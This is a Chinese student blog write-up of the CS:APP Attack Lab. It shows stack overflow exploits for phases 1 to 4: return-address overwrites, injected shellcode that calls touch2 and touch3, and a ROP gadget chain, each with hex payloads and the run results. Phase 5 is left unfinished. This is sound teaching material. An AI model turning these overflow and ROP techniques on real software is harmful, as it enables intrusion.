CS:APP Attack Lab

实验材料
强烈建议先看一下Writeup再开始做,否则可能找不到方向。

准备

老样子,objdump -d ctarget > ctarget.asm得到汇编文件。
阅读Writeup,理解了整体构造,可以直接上手开始做。

phase 1

目标是通过注入返回地址调用touch1函数。
按照提示,找到getbuf

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq   
  4017be:   90                      nop
  4017bf:   90                      nop

这个函数构造非常简单,将%rsp减去0x28腾出空间后调用Gets将输入字符串放在栈中。经过gdb调试后发现,输入的字符串确实是以%rsp开头的连续地址。在%rsp+0x28位置处,放置了返回地址,我们直接用输入字符串覆盖即可。所以答案前40个字节都为00进行填充,最后三个字节为c0 17 40

答案:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
c0 17 40

运行结果:

dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./hex2raw < answer1 > answer1_raw
dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./ctarget -q < answer1_raw
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40

顺利通过。

phase 2

目标是调用touch2函数并且设置传入的参数和cookie相等。
这样就要求执行我们注入的代码,设置好%rdi再跳转到touch
一开始做的时候被各种顺序搞了一会,后来仔细想清楚了两点:

  • 输入的字符串字节顺序为地址从低到高,举个例子如果输入了hello,栈地址从0开始,内存布局是这样的:
0x00:h
0x01:e
0x02:l
0x03:l
0x03:o

最先输入的字符地址最低。

  • %rip执行时是递增的,先读取%rip处的指令,然后将%rip加上指令的长度。

根据这两条,我们最先输入的字符串会被当做第一条指令执行,然后以此类推,与汇编代码的输入顺序逻辑一致,我们注入的代码直接输入就好了。

和上一题一样,首先得覆盖返回地址,通过gdb调试得到,%rsp+0x28地址为0x5561dc78,也就是我们输入字符串头的位置。那么我们开始填写注入的代码:
要做的事情有三件:

  • 设置%rdi,以满足touch2的要求。
  • 返回到touch2,想一想ret的逻辑:先把%rsp指向的值赋值给%rip%rsp自身再减去8,那么我们可以直接把%rsp指向的值赋值为touch2的地址,可惜这样会段错误,因为破坏了其他的栈帧中的内容,再回想call的逻辑,我们可以通过push操作模拟call,将touch2地址压入栈即可。
  • 最后使用ret返回到touch2
    汇编代码如下:
movl $0x59b997fa, %edi
pushq $0x4017ec
ret

照着Writeup中的操作,通过gccobjdump得到字节表示,然后再用nop把剩下的字节填充,再用我们程序的地址覆盖掉原本的地址,得到:

bf fa 97 b9 59          /* movl    $0x59b997fa,%edi */
68 ec 17 40 00          /* pushq  $0x4017ec */
c3              /* ret */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  /* nops */
78 dc 61 55             /* exploit address */

运行结果:

dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./hex2raw < answer2 > answer2_raw
dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./ctarget -q < answer2_raw
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:BF FA 97 B9 59 68 EC 17 40 00 C3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 78 DC 61 55

顺利通过。

phase 3

这一题和上一题的区别在于,比较的形式是将数字转化成字符串,而我们都知道,字符串其实就是一串连续的字节,所以和上一题没多大区别。于是我把上一题的代码随便改改,然后却始终通不过。通过gdb调试发现,好像出了点小问题。
这是我一开始的答案:

bf 83 dc 61 55                  /* mov    $0x5561dc83,%edi */
68 fa 18 40 00                  /* pushq  $0x4018fa */
c3                      /* retq */
35 39 62 39 39 37 66 61 00 00           /* string address */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90    /* nops */
78 dc 61 55 00 00 00 00             /* exploit address */

也就是在上一题答案上修改,将字符串首地址传入。
运行后发现,我传入的字符串始终不对,经过检查发现这一块区域被修改过,我想应该是touch3hexmatch函数的调用过程中,往栈中压入了数据,使得覆盖了我输入字符串的数据。

那么解决方案也很简单,找一块不会被修改的地方存放就可以了,查看内存发现在我们注入的入口地址前就有一片空白区域不会被修改,将cookie转化成字符串写入,然后传入正确的地址即可。
答案:

bf a8 dc 61 55                  /* mov    $0x5561dca8,%edi */
68 fa 18 40 00                  /* pushq  $0x4018fa */
c3                      /* retq */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  /* nops */
78 dc 61 55 00 00 00 00             /* exploit address */
35 39 62 39 39 37 66 61 00 00           /* string address */

运行结果:

dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./hex2raw < answer3 > answer3_raw
dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./ctarget -q < answer3_raw
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:BF A8 DC 61 55 68 FA 18 40 00 C3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 BF 83 DC 61 55 68 FA 18 40 00 C3 35 39 62 39 39 37 66 61 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 78 DC 61 55 00 00 00 00

顺利通过!
实际上有一些需要注意的小细节,尤其是各种顺序,个人认为还是蛮容易搞错的。

phase 4

目标与phase 2相同,但是程序进行了强化,使用了栈随机化和栈不可执行来保护。这样使得我们不可能准确地定位到栈的地址,即使能定位到,也不能当作指令执行。
但是这些都是对栈的限制,对堆是没有任何改变的,Writeup上提供了一种方法,这里尝试用中文进行解释。

首先既然栈上不可能执行代码,我们只能想办法从堆上做手脚,但是堆上的汇编代码都是写死的,我们不可能将自己的代码进行替换,但我们可以以另外一种形式去解释堆上的汇编代码。
比如c语言代码:

unsigned addval_273(unsigned x)
{
    return x + 3284633928U;
}

编译成汇编代码:

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq   

汇编器会从地址0x4019a0开始,解释成指令leaq,但是如果我们从地址0x4019a2开始,解释,这条指令变成48 89 c7 c3,结合Writeup中给出的表格:

movq.JPG

发现会被就是成:

movq    %rax, %rdi
ret

通过从中间执行,我们可以曲解原本汇编代码的意思,以达到自己想要的效果。

另外一个技巧利用ret来连续执行上面的方法,因为ret的逻辑是将%rsp指向的值赋值给%rip然后%rsp自身减去8,前面已经多次用过这个技巧了。
假设我们找到了多个堆中的入口地址(也就是上面那个曲解汇编的入口),然后把他们依次地址从低到高放到栈中,因为执行到c3会返回,将下一个地址赋值给%rip然后继续执行,这样就能连续执行我们想要的代码了。

gadget.JPG

总结一下,就是面向ret,在ret之前寻找能曲解意思的汇编码,然后将他们以不同顺序和数量组合,地址依次放入栈中,执行后就能达到想要的效果。

在这题中依次寻找发现:

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq   

这段代码中有48 89 c7 c3,可以解释movq %rax, %rdi; ret;使用。

00000000004019ca <getval_280>:
  4019ca:   b8 29 58 90 c3          mov    $0xc3905829,%eax
  4019cf:   c3                      retq   

这段代码中有58 90 c3,可以解释为popq %rax; nop; ret;使用。
两者结合可以达成的效果是从栈中弹出一个值,然后赋值给%rdi,那么构造答案就很简单了。需要注意的是操作数的长度,64位数据,长度是8个字节。
答案:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* pads */
cc 19 40 00 00 00 00 00     /* <getval_280> + 0x2 */
fa 97 b9 59 00 00 00 00     /* cookie */
a2 19 40 00 00 00 00 00     /* <addval_273> + 0x2 */
ec 17 40 00 00 00 00 00     /* <touch2> */

运行结果:

dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./hex2raw < answer4 > answer4_raw
dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./rtarget -q < answer4_raw
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

phase 5

Writeup上说这道题比较繁琐,我花了一些时间做这个,但由于几个原因没有完成,如果将来有一天重温的话希望可以补完。
整体思路类似于上一题,但由于需要传入地址,需要通过%rsp进行一些计算,指令也偏多,导致整体比较麻烦。

  • 陷入了思维定势,没有注意到本来就提供的函数的一些功能,浪费了一些时间。
  • 有一个疑问暂时想不出来,一开始写的是:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* pads */
06 1a 40 00 00 00 00 00     
a2 19 40 00 00 00 00 00     
d6 19 40 00 00 00 00 00     
a2 19 40 00 00 00 00 00     
fa 18 40 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
35 39 62 39 39 37 66 61 00

传入字符串地址是正确的,但在sprintf函数处会段错误,百思不得其解,由于和主题关系不大,主要内容已经了解掌握,这里的细节就咕咕咕了。

总结

总体来说这次实验的难度是比前两个低一些的,但有趣程度不减,体验了一把当黑客的感觉。对汇编代码,汇编层面的编程更加了解和熟练了。最后还给自己留了个小问题,如果将来没心思解决的话权当是个记录,希望自己能够再接再厉继续学习。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,558评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,002评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,036评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,024评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,144评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,255评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,295评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,068评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,478评论 1 305
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,789评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,965评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,649评论 4 336
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,267评论 3 318
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,982评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,223评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,800评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,847评论 2 351

推荐阅读更多精彩内容